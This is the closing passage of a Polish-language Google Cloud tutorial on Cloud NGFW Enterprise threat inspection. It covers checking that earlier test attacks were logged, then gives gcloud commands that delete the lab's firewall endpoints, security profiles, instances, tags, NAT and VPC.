Aby zweryfikować logi, otwórz kartę Zagrożenia w konsoli Cloud (może być konieczne kilkakrotne odświeżenie). Ataki powinny zostać zidentyfikowane i zarejestrowane ponownie, ale źródłowy adres IP jest teraz wewnętrzny, ponieważ najpierw uruchomiona jest reguła ruchu wychodzącego:
Zamknij sesję SSH i przejdź do następnej sekcji z instrukcjami czyszczenia.
8. Procedura czyszczenia
Czyszczenie komponentów Cloud NGFW w Google Cloud
Wyświetl listę istniejących powiązań z Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
Usuń powiązanie z Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
Wyświetl listę istniejących punktów końcowych Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Usuń punkt końcowy Cloud NGFW Enterprise, co może potrwać około 20 minut:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
Sprawdź, czy Cloud NGFW Enterprise został usunięty, uruchamiając to polecenie:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Usuń grupę profili zabezpieczeń i profil zapobiegania zagrożeniom:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
Czyszczenie konfiguracji podstawowej
Jeśli chcesz usunąć zasoby podstawowe, przejdź do następnego kroku.
W razie potrzeby zdefiniuj zmienne środowiskowe. W Cloud Shell usuń komponenty sieciowego systemu równoważenia obciążenia:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
Usuń instancje:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
Opcjonalnie wykonaj te czynności, jeśli role tagAdmin i tagUsers uległy zmianie:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Usuń klucz i wartości tagu:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Usuń zasadę sieciową Cloud Firewall i powiązanie z nią:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Usuń router Cloud Router i Cloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Usuń zarezerwowane adresy IP:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Na koniec usuń podsieć i sieć VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. Gratulacje!
Gratulujemy ukończenia szkolenia z programowania w Cloud NGFW Enterprise na potrzeby inspekcji wschód-zachód i północ/południe.